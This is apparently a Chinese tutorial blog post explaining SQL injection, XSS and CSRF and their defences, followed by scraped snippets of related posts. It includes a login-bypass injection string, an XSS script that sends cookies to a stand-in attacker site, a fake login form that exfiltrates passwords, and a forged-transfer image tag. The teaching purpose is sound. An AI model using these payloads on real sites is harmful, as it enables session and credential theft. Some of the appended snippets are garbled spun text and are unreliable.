Web攻防之XSS,CSRF,SQL注入

摘要:对Web服务器的攻击也可以说是形形色色、种类繁多,常见的有挂马、SQL注入、缓冲区溢出、嗅探、利用IIS等针对Webserver漏洞进行攻击。本文结合WEB TOP10漏洞中常见的SQL注入,跨站脚本攻击(XSS),跨站请求伪造(CSRF)攻击的产生原理,介绍相应的防范方法。
关键字:SQL注入,XSS,CSRF
1.SQL注入
  所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。 攻击者通过在应用程序预先定义好的SQL语句结尾加上额外的SQL语句元素,欺骗数据库服务器执行非授权的查询,篡改命令。
  它能够轻易的绕过防火墙直接访问数据库,甚至能够获得数据库所在的服务器的系统权限。在Web应用漏洞中,SQL Injection 漏洞的风险要高过其他所有的漏洞。
  攻击原理

  假设的登录查询
 
  SELECT * FROM  users  WHERE login = ‘victor‘ AND password = ‘123
 
  Sever端代码
 
  String sql = "SELECT * FROM users WHERE login = ‘" + formusr + "‘ AND password = ‘" + formpwd + "‘";
 
  输入字符
 
  formusr = ‘ or 1=1
 
  formpwd = anything
 
  实际的查询代码
 
  SELECT * FROM users WHERE username = ‘ ‘ or 1=1  AND password = ‘anything‘

  发现注入点简单办法
  1.寻找带有查询字符串的url的网页(例如,查询那些在URL里带有"id=" 的URL)。
  2.向这个网站发送一个请求,改变其中的id=语句,带一个额外的单引号(例如:id=123’)。
  3.查看返回的内容,在其中查找“sql”,“statement”等关键字(这也说明返回了具体的错误信息,这本身就很糟糕)。如下图:

  4.错误消息是否表示发送到SQL服务器的参数没有被正确编码果如此,那么表示可对该网站进行SQL注入攻击。
  如何防范SQL注入攻击
  一个常见的错误是,假如你使用了存储过程或ORM,你就完全不受SQL注入攻击之害了。这是不正确的,你还是需要确定在给存储过程传递数据时你很谨慎,或在用ORM来定制一个查询时,你的做法是安全的。
  参数化查询已被视为最有效的可防御SQL注入攻击的防御方式。目前主流的ORM 框架都内置支持并且推荐使用这种方式进行持久层封装。
  所谓的参数化查询(Parameterized Query 或 Parameterized Statement)是指在设计与数据库链接并访问数据时,在需要填入数值或数据的地方,使用参数 (Parameter) 来给值。
    例:     
    SELECT * FROM myTable WHERE myID = @myID
 
    INSERT INTO myTable (c1, c2, c3, c4) VALUES (@c1, @c2, @c3, @c4)或者INSERT INTO myTable (c1, c2, c3, c4) VALUES(?,?,?,?)
  通过(?)指定占位符,当然在添加参数的时候,必须按照(c1, c2, c3, c4)的顺序来添加,否则会出错。
 
2.跨站脚本攻击(XSS)
  XSS 全称(Cross Site Scripting) 跨站脚本攻击,
是Web程序中最常见的漏洞。指攻击者在网页中嵌入客户端脚本(例如JavaScript),
当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的.  比如获取用户的Cookie,导航到恶意网站,携带木马等。
  攻击原理

  假如页面有如下一个输入框
 
  <input type="text" name="record" value="沙发">
 
  【沙发】是来自用户的输入,如果用户输入的是"onfocus="alert(document.cookie)
 
  那么就会变成
 
  <input type="text" name="address1" value="" onfocus="alert(document.cookie)">
 
   事件被触发的时候嵌入的JavaScript代码将会被执行
 
   攻击的威力,取决于用户输入了什么样的脚本。

  XSS分类
  1. 反射型XSS
  反射型XSS,又称非持久型XSS。之所以称为反射型XSS,则是因为这种攻击方式的注入代码是从目标服务器通过错误信息、搜索结果等等方式“反射”
回来的。而称为非持久型XSS,则是因为这种攻击方式具有一次性。攻击者通过电子邮件等方式将包含注入脚本的恶意链接发送给受害者,当受害者点击该链接
时,注入脚本被传输到目标服务器上,然后服务器将注入脚本“反射”到受害者的浏览器上,从而在该浏览器上执行了这段脚本。
比如攻击者将如下链接发送给受害者:
http://www.targetserver.com/search.asp?input=<script>alert(document.cookie);</script>
当受害者点击这个链接的时候,注入的脚本被当作搜索的关键词发送到目标服务器的search.asp页面中,则在搜索结果的返回页面中,这段脚本将被当作
搜索的关键词而嵌入。这样,当用户得到搜索结果页面后,这段脚本也得到了执行。这就是反射型XSS攻击的原理,可以看到,攻击者巧妙地通过反射型XSS的
攻击方式,达到了在受害者的浏览器上执行脚本的目的。由于代码注入的是一个动态产生的页面而不是永久的页面,因此这种攻击方式只在点击链接的时候才产生作
用,这也是它被称为非持久型XSS的原因
  2.存储型XSS
   存储型XSS,又称持久型XSS,他和反射型XSS最大的不同就是,攻击脚本将被永久地存放在目标服务器的数据库和文件中。这种攻击多见于论坛,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入到帖子的内容之中。随着帖子被论坛服务器存储下来,恶意脚本也永久地被存放在论坛服务器的后端存储器中。当其它用户浏览这个被注入了恶意脚本的帖子的时候,恶意脚本则会在他们的浏览器中得到执行,从而受到了攻击。
  Xss危害
  1.盗取cookie
    通过XSS攻击,由于注入代码是在受害者的浏览器上执行,因此能够很方便地窃取到受害者的Cookie信息。比如,我们只要注入类似如下的代码:
  <script>location.replace("http://www.attackpage.com/record.asp?secret="+document.cookie)</script>
    当受害者的浏览器执行这段脚本的时候,就会自动访问攻击者建立的网站www.attackpage.com,打开其中的recourd.asp,将受害者浏览器的Cookie信息给记录下来。这样,攻击者就得到了用户的Cookie信息。
    得到受害者的Cookie信息后,攻击者可以很方便地冒充受害者,从而拥有其在目标服务器上的所有权限,相当于受害者的身份认证被窃取了。
  2.钓鱼攻击
    所谓钓鱼攻击就是构建一个钓鱼页面,诱骗受害者在其中输入一些敏感信息,然后将其发送给攻击者。利用XSS的注入脚本,我们也可以很方便地注入钓鱼页面的代码,从而引导钓鱼攻击。比如下面这样一段代码:

  <script>
 
  function hack(){
    location.replace("http://www.attackpage.com
/record.asp?username="+document.forms[0].user.value + "password=" +
document.forms[0].pass.value);
  }
 
  </script>
  <form>
  <br> <H3>此功能需要登录:</H3 >
  <br><br>请输入用户名:<br>
  <input type=”text” id=”user”name=”user”>
  <br>请输入密码:<br>
  <input type=”password” name =“pass”>
  <br><input type=”submit”name=”login” value=”登录”onclick=”hack()”>
  </form>

    注入上面的代码后,则会在原来的页面上,插入一段表单,要求用户输入自己的用户名和密码,而当用户点击“登录”按钮后,则会执行hack()函
数,将用户的输入发送到攻击者指定的网站上去。这样,攻击者就成功窃取了该用   户的账号信息。和一般的钓鱼攻击不同,XSS引导的钓鱼攻击由于是对用
户信任的网站页面进行修改的。
  3.   CSRF攻击
    比如我们注入如下的HTML代码:
   <imgsrc = “http://www.bank.com/transfer.do?toAct=123456&money=10000>
          
假如上面的代码中所访问的是某个银行网站的转账服务,则当受害者的浏览器运行这段脚本时,就会向攻击者指定的账户(示例的123456)执行转账操作。由
于这个转账请求是在受害者的浏览器中运行的,因此浏览器也会自     动将受害者的Cookie信息一并发送。这样,发送的请求就好像是受害者自己发送
的一样,银行网站也将认可这个请求的合法性,攻击者也就达到了伪造请求的目的。
  4.传播恶意软件
      除了直接注入恶意脚本以外,通过XSS攻击,攻击者也可以很方便地在脚本中引入一些恶意软件,比如病毒、木马、蠕虫等等。例如,攻击者可以在
某个自己建立的页面上放置一些恶意软件,然后用XSS注入的方式,插入一    段引用该页面的脚本。这样当受害者的浏览器执行这段脚本的时候,就会自动
访问放置了恶意软件的页面,从而受到这些恶意软件的感染。
  XSS的预防
  1. 输入过滤
        
  对用户的所有输入数据进行检测,比如过滤其中的“<”、“>”、“/”等可能导致脚本注入的特殊字符,或者过滤“script”、
“javascript”等脚本关键字,或者对输入数据的长度进行限制等等。同时,我们也要考虑用户可能绕开    ASCII码,使用十六进制编码来输
入脚本。因此,对用户输入的十六进制编码,我们也要进行相应的过滤。只要能够严格检测每一处交互点,保证对所有用户可能的输入都进行检测和XSS过滤,就
能够有效地阻止XSS攻击。
  2. 输出编码
        
  通过前面对XSS攻击的分析,我们可以看到,之所以会产生XSS攻击,就是因为Web应用程序将用户的输入直接嵌入到某个页面当中,作为该页面的
HTML代码的一部分。因此,当Web应用程序将用户的输入数据输出到目标    页面中时,只要用HtmlEncoder等工具先对这些数据进行编码,
然后再输出到目标页面中。这样,如果用户输入一些HTML的脚本,也会被当成普通的文字,而不会成为目标页面HTML代码的一部分得到执行。
  3. Cookie防盗
    利用XSS攻击,攻击者可以很方便地窃取到合法用户的Cookie信息。因此,对于Cookie,我们可以采取以下的措施。首先,我们要尽可能地
避免在Cookie中泄露隐私,如用户名、密码等;其次,我们可以将Cookie信息利用MD5等Hash算法进行多次散列后存放;再次,为了防止重放攻
击,我们也可以将Cookie和IP进行绑定,这样也可以阻止攻击者冒充正常用户的身份。
 
        
作为一名普通的网络用户,在XSS攻击的预防上我们可以采取以下措施。首先,我们不要轻易相信电子邮件或者网页中的不明链接,这些链接很有可能引导反射型
XSS攻击或者使我们访问到一些不安全的网页。其次,我们在不必要的时候可以禁用脚本功能,这样XSS注入的脚本就无法得到运行。
3.   CSRF 攻击
  CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF。
你这可以这么理解CSRF攻击:攻击者盗用了你的身份,以你的名义发送恶意请求。CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账......造成的问题包括:个人隐私泄露以及财产安全。
  CSRF漏洞现状
     CSRF这种攻击方式在2000年已经被国外的安全人员提出,但在国内,直到06年才开始被关注,08年,国内外的多个大型社区和交互网站分别
爆出CSRF漏洞,如:NYTimes.com(纽约时报)、Metafilter(一个大型BLOG网站),YouTube和百度HI......而现
在,互联网上的许多站点仍对此毫无防备,以至于安全业界称CSRF为“沉睡的巨人”。
  原理
  网站A :为恶意网站。
  网站B :用户已登录的网站。
  当用户访问 A站 时,A站 私自访问 B站 的操作链接,模拟用户操作。
  假设B站有一个删除评论的链接:http://b.com/comment/?type=delete&id=81723
  A站 直接访问该链接,就能删除用户在 B站 的评论。
  CSRF 防御技巧
  1.验证码
    几乎所有人都知道验证码,但验证码不单单用来防止注册机的暴力破解
还可以有效防止CSRF的攻击。验证码算是对抗CSRF攻击最简洁有效的方法。但使用验证码的问题在于,不可能在用户的所有操作上都需要输入验证码.只有
一些关键的操作,才能要求输入验证码。不过随着HTML5的发展。利用canvas标签,前端也能识别验证码的字符,让CSRF生效。
  2.Token
    CSRF能攻击成功,根本原因是:操作所带的参数均被攻击者猜测到。既然知道根本原因,我们就对症下药,利用Token。当向服务器传参数时,带
上Token。这个Token是一个随机值,并且由服务器和用户同时持有。当用户提交表单时带上Token值,服务器就能验证表单和session中的
Token是否一致。
         token生成示例代码如下
  

private static SecureRandom secureRandom=null;
public static String createToken() {
    if(secureRandom==null){
        String entoropy="LogonSessionEntoropy" + System.currentTimeMillis();
        try {
            secureRandom = SecureRandom.getInstance("SHA1PRNG");
        } catch (NoSuchAlgorithmException e) {
            throw new RuntimeException(e);
        }
        secureRandom.setSeed(entoropy.getBytes());
    }
    byte bytes[]=new byte[16];
    secureRandom.nextBytes(bytes);
    byte[] base64Bytes = Base64.encode(bytes);
    return new String(base64Bytes);
}

时间: 2024-10-24 17:09:34

Web攻防之XSS,CSRF,SQL注入的相关文章

Web攻防之XSS,CSRF,SQL注入(转)

摘要:对Web服务器的攻击也可以说是形形色色.种类繁多,常见的有挂马.SQL注入.缓冲区溢出.嗅探.利用IIS等针对Webserver漏洞进行攻击.本文结合WEB TOP10漏洞中常见的SQL注入,跨站脚本攻击(XSS),跨站请求伪造(CSRF)攻击的产生原理,介绍相应的防范方法.关键字:SQL注入,XSS,CSRF1.SQL注入 所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令. 攻击者通过在应用程序预先定义好的SQL语

Spring MVC 如何防止XSS、SQL注入攻击

在Web项目中,关键词挖掘通常需求处置XSS,SQL写入进犯,处置这个疑问有两个号码大全思路: 在数据进入数据库之前对不合法字符进行转义,在更新和显现的时分将不合法字符复原 在显现的时分对不合法字符进行转义 假如项目还处在起步期间,主张运用第二种,直接运用jstl的标签即可处置不合法字符的疑问.当然,对于Javascript还需求自个处置一下,写一个办法,在解析从服务器端获取的数据时履行以下escapeHTML()即可. 附:Javascript办法: String.prototype.esca

XSS攻击&amp;SQL注入攻击&amp;CSRF攻击?

- XSS(Cross Site Script,跨站脚本攻击)是向网页中注入恶意脚本在用户浏览网页时在用户浏览器中执行恶意脚本的攻击方式.跨站脚本攻击分有两种形式:反射型攻击(诱使用户点击一个嵌入恶意脚本的链接以达到攻击的目标,目前有很多攻击者利用论坛.微博发布含有恶意脚本的URL就属于这种方式)和持久型攻击(将恶意脚本提交到被攻击网站的数据库中,用户浏览网页时,恶意脚本从数据库中被加载到页面执行,QQ邮箱的早期版本就曾经被利用作为持久型跨站脚本攻击的平台).XSS虽然不是什么新鲜玩意,但是攻击

web安全测试&amp;渗透测试之sql注入~~

渗透测试概念: 详见百度百科 http://baike.baidu.com/link?url=T3avJhH3_MunEIk9fPzEX5hcSv2IqQlhAfokBzAG4M1CztQrSbwsRkSerdBe17H6tTF5IleOCc7R3ThIBYNO-q 前言: 安全测试范围极广,开门见山,楼主对这行了解的也不是太深,也是在学习探索阶段,此文,也是对自己学习的总结与记录和简单的分享:这里没有具体工具的使用方法,更多的是原理细节的了解和解决方案的探讨. code部分: html+jsp

实验二、XSS和SQL注入

一.  实验目的 了解什么是XSS:了解XSS攻击实施,理解防御XSS攻击的方法:了解SQL注入的基本原理:掌握PHP脚本访问MySQL数据库的基本方法:掌握程序设计中避免出现SQL注入漏洞的基本方法:掌握网站配置.   二.  系统环境:Kali Linux2.Windows 三.  网络环境:交换网络结构 四.  实验工具:AWVS(Acunetix Web Vulnarability Scanner);SqlMAP:Dvwa:PHPStudy 五.  实验步骤: 1.XSS部分:利用Bee

web攻击与防御技术--SQL注入

sql注入是WEB安全中比较重要而复杂的一个东西.而且危害性比较大. 一般来讲SQL注入的话首先要识别注入点.一个是看能不能注入另外一个是看是什么类型的注入比如说字符,数字,搜索(?)等等 GET.POST.HEADER 专门针对一个waf进行测试的时候就要将这几个点全测试个遍,header中还包括Cookie.X-Forwarded-For等,往往除了GET以外其他都是过滤最弱的 一般来讲也是先进行输入尝试,判断WAF.一般来讲简单的语法会被过滤. 不过尝试起来最简单的判断法是这个1^1^0

xss 攻击 sql 注入

p.p1 { margin: 0.0px 0.0px 0.0px 0.0px; font: 11.0px Menlo; color: #000000; background-color: #ffffff } p.p2 { margin: 0.0px 0.0px 0.0px 0.0px; font: 11.0px Menlo; color: #d12f1b; background-color: #ffffff } p.p3 { margin: 0.0px 0.0px 0.0px 0.0px; fo

PHP防XSS 防SQL注入的代码

作为开发人员时刻要记住一句话,永远不要相信任何用户的输入!很多时候我们的网站会因为我们开发人员写的代码不够严谨,而使网站受到攻击,造成不必要的损失!下面介绍一下如何防止SQL注入! 这里提供了一个函数,用来过滤用户输入的内容!使用POST传值的时候,可以调用这个函数进行过滤! /** * 过滤参数 * @param string $str 接受的参数 * @return string */ static public function filterWords($str) { $farr = ar

Web攻防系列教程之 Cookie注入攻防实战

摘要:随着网络安全技术的发展,SQL注入作为一种很流行的攻击方式被越来越多的人所知晓.很多网站也都对SQL注入做了防护,许多网站管理员的做法就是添加一个防注入程序.这时我们用常规的手段去探测网站的SQL注入漏洞时会被防注入程序阻挡,遇到这种情况我们该怎么办?难道就没有办法了吗?答案是否定的. 随着网络安全技术的发展,SQL注入作为一种很流行的攻击方式被越来越多的人所知晓.很多网站也都对SQL注入做了防护,许多网站管理员的做法就是添加一个防注入程序.这时我们用常规的手段去探测网站的SQL注入漏洞时